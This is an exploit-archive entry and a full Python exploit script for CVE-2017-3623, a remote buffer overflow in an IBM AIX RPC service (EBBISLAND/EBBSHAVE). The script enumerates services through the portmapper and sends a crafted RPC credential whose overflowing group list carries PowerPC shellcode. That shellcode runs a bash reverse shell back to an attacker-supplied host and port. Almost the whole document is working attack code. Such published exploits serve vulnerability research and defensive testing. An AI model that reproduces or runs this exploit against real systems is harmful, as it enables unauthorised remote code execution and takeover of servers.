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EBBISLAND EBBSHAVE 6100-09-04-1441 Remote Buffer Overflow

EBBISLAND EBBSHAVE 6100-09-04-1441 Remote Buffer Overflow
Posted Jan 8, 2020
Authored by Harrison Neal

EBBISLAND EBBSHAVE 6100-09-04-1441 suffers from a remote buffer overflow vulnerability.

tags | exploit, remote, overflow
advisories | CVE-2017-3623
MD5 | ab799f4e3fd9b195e7addd60d5792f67

EBBISLAND EBBSHAVE 6100-09-04-1441 Remote Buffer Overflow

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# Exploit Title: EBBISLAND EBBSHAVE 6100-09-04-1441 - Remote Buffer Overflow
# Date: 2018-09-19
# Exploit Author: Harrison Neal
# Vendor Homepage: https://www.ibm.com/us-en/
# Version: 6100-09-04-1441, 7100-03-05-1524, 7100-04-00-0000, 7200-01-01-1642
# Tested on: IBM AIX PPC
# CVE: CVE-2017-3623
# EBBISLAND / EBBSHAVE RPC Buffer Overflow for IBM AIX PPC


#!/usr/bin/python
# Usage: ebbshave-aixgeneric-v1.py rhost lhost lport gid_base execl_func execl_toc

# Exploit code example; shellcode requires /usr/bin/bash on the target

# Example values for my AIX 7.2 LPAR:
# gid_base: 3007d390
# execl_func: d0307940
# execl_toc: f081bc20

# CAUTION: If a RPC service repeatedly crashes, it can be automatically disabled

from os import urandom
from socket import socket, AF_INET, SOCK_STREAM
from struct import pack, unpack
from sys import argv, exit
from time import time, sleep

def getCredLoopbackBody():
global gid_base, rhost, lhost, lport, gid_base, execl_func, execl_toc

epoch = pack('>I', time()) # Make sure the system clock is in sync w/ target

# Doesn't matter, ljust call assumes len <= 4
node_name = 'hn'
node_length = pack('>I', len(node_name))
node_name = node_name.ljust(4, '\x00')

# Also doesn't matter
uid = pack('>I', 0)
gid = pack('>I', 0)

# Big enough to trigger an overflow
# Not big enough to trigger defensive code
# You could make this a little bit less,
# but you'd have to tweak the part 2 code
gids_len = pack('>I', 64)

base_addr = pack('>I', gid_base)
addr_8c = pack('>I', gid_base + 0x8c)
addr_a8 = pack('>I', gid_base + 0xa8)
addr_4c = pack('>I', gid_base + 0x4c)

func_addr = pack('>I', execl_func)
toc_addr = pack('>I', execl_toc)

cmd = 'bash -i >& /dev/tcp/' + lhost + '/' + lport + ' 0>&1'
cmd = cmd.ljust(0x30, '\x00')

# Each GID is 4 bytes long, we want 64
gids = (
# +0x0 # filepath
'/usr/bin/bash\x00\x00\x00'

# +0x10 # argv[0]
'bash\x00\x00\x00\x00'

# +0x18 # argv[1]
'-c\x00\x00'

# +0x1c # argv[2]
) + cmd + (

# +0x4c # r3 = filepath
'\x70\x63\x00\x00' # andi. r3, r3, 0x0
'\x3c\x60'
) + base_addr[0:2] + ( # lis r3, ...
'\x60\x63'
) + base_addr[2:4] + ( # ori r3, r3, ...

# +0x58 # r4 = argv[0]
'\x38\x83\x00\x10' # addi r4, r3, 0x10

# +0x5c # r5 = argv[1]
'\x38\xa4\x00\x08' # addi r5, r4, 0x8

# +0x60 # r6 = argv[2]
'\x38\xc5\x00\x04' # addi r6, r5, 0x4

# +0x64 # r7 = NULL
'\x70\xe7\x00\x00' # andi. r7, r7, 0x0

# +0x68 # r2 = libc.a TOC for execl
'\x70\x42\x00\x00' # andi. r2, r2, 0x0
'\x3c\x40'
) + toc_addr[0:2] + ( # lis r2, ...
'\x60\x42'
) + toc_addr[2:4] + ( # ori r2, r2, ...

# +0x74 # execl
'\x71\x08\x00\x00' # andi. r8, r8, 0x0
'\x3d\x00'
) + func_addr[0:2] + ( # lis r8, ...
'\x61\x08'
) + func_addr[2:4] + ( # ori r8, ...
'\x7d\x09\x03\xa6' # mtctr r8
'\x4e\x80\x04\x21' # bctrl

# +0x88 # 0x14 padding
'AAAAAAAAAAAAAAAAAAAA'

# +0x9c # Will be NULL
'ZZZZ'

# +0xa0
# @+948: r5 = +0x8c
# @+968: r5 = *(+0x8c + 0x18) = *(+0xa4)

# +0xa4
# @+968: r5 = +0xa8
# @+972: r0 = *(r5 + 0x0) = *(+0xa8)

# +0xa8
# @+972: r0 = +0x4c
# @+980: ctr = r0 = +0x4c
# @+988: branch to ctr
) + addr_8c + addr_a8 + addr_4c + (

# +0xac # padding
'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB'
)

print ":".join("{:02x}".format(ord(c)) for c in gids)
print len(gids)

return epoch + node_length + node_name + uid + gid + gids_len + gids

def getCredLoopback():
cred_flavor = pack('>I', 0x55de) # AUTH_LOOPBACK

cred_body = getCredLoopbackBody()
cred_len = pack('>I', len(cred_body))

return cred_flavor + cred_len + cred_body

def getAuthNone():
auth_flavor = pack('>I', 0) # AUTH_NONE

auth_len = pack('>I', 0)

return auth_flavor + auth_len

def getMessage(prog_num, ver_num, proc_num, use_loopback_cred):
xid = urandom(4)

mtype = pack('>I', 0) # CALL

rpcvers = pack('>I', 2)

prog = pack('>I', prog_num)
vers = pack('>I', ver_num)

proc = pack('>I', proc_num)

cred = ( getCredLoopback() if use_loopback_cred else getAuthNone() )

verf = getAuthNone()

return xid + mtype + rpcvers + prog + vers + proc + cred + verf

def getPacket(message):
# MSB on = this is the last fragment
# LSBs = fragment length
frag = pack('>I', len(message) + 0x80000000)

return frag + message

if len(argv) < 7:
print 'Usage: ebbshave-aixgeneric-v1.py rhost lhost lport gid_base execl_func execl_toc'
exit(1)

rhost = argv[1]
lhost = argv[2]
lport = argv[3]
gid_base = int(argv[4], 16)
execl_func = int(argv[5], 16)
execl_toc = int(argv[6], 16)

# Query the portmapper for services

services = []

s = socket(AF_INET, SOCK_STREAM)
s.connect((rhost, 111)) # port 111 for portmapper
s.send(getPacket(getMessage(
100000, # portmapper
2, # version 2
4, # DUMP
False # unauth request
)))

s.recv(0x1c) # skip over fragment length, XID, message type, reply state, verifier, accept state

while list(unpack('>I', s.recv(4)))[0]: # while next "value follows" field is true
prog_num, ver_num, proto_num, port = unpack('>IIII', s.recv(16))
if (prog_num == 100024 # status
and proto_num == 6): # TCP
print '[ ] Found service ' + str(prog_num) + ' v' + str(ver_num) + ' on TCP port ' + str(port)
services.append((prog_num, ver_num, port))

s.close()

# Try attacking

for service in services:
prog_num, ver_num, port = service

serv_str = str(prog_num) + ' v' + str(ver_num)

for attack in [False, True]:
sleep(1) # be gentle

print '[ ] ' + ( 'Attacking' if attack else 'Pinging' ) + ' ' + serv_str

s = socket(AF_INET, SOCK_STREAM)
s.connect((rhost, port))

resp_len = 0

s.send(getPacket(getMessage(
prog_num,
ver_num,
0, # NULL, acts like a ping
attack
)))

s.settimeout(5) # give inetd/... a chance to spin up the service if needed

try:
resp_len = len( s.recv(1024) ) # try to receive up to 1024 bytes
except:
resp_len = 0 # typically either timeout, connection error, or Ctrl+C

try:
s.close() # try closing the connection if it isn't already dead
except:
pass # connection is probably already dead

print '[ ] Got response length ' + str(resp_len)

if resp_len == 0: # suspect the service either timed out or crashed
if attack:
print '[+] Probably vulnerable to EBBSHAVE, hopefully you have a shell'
else:
print '[-] Service probably down or otherwise misbehaving, skipping...'
break
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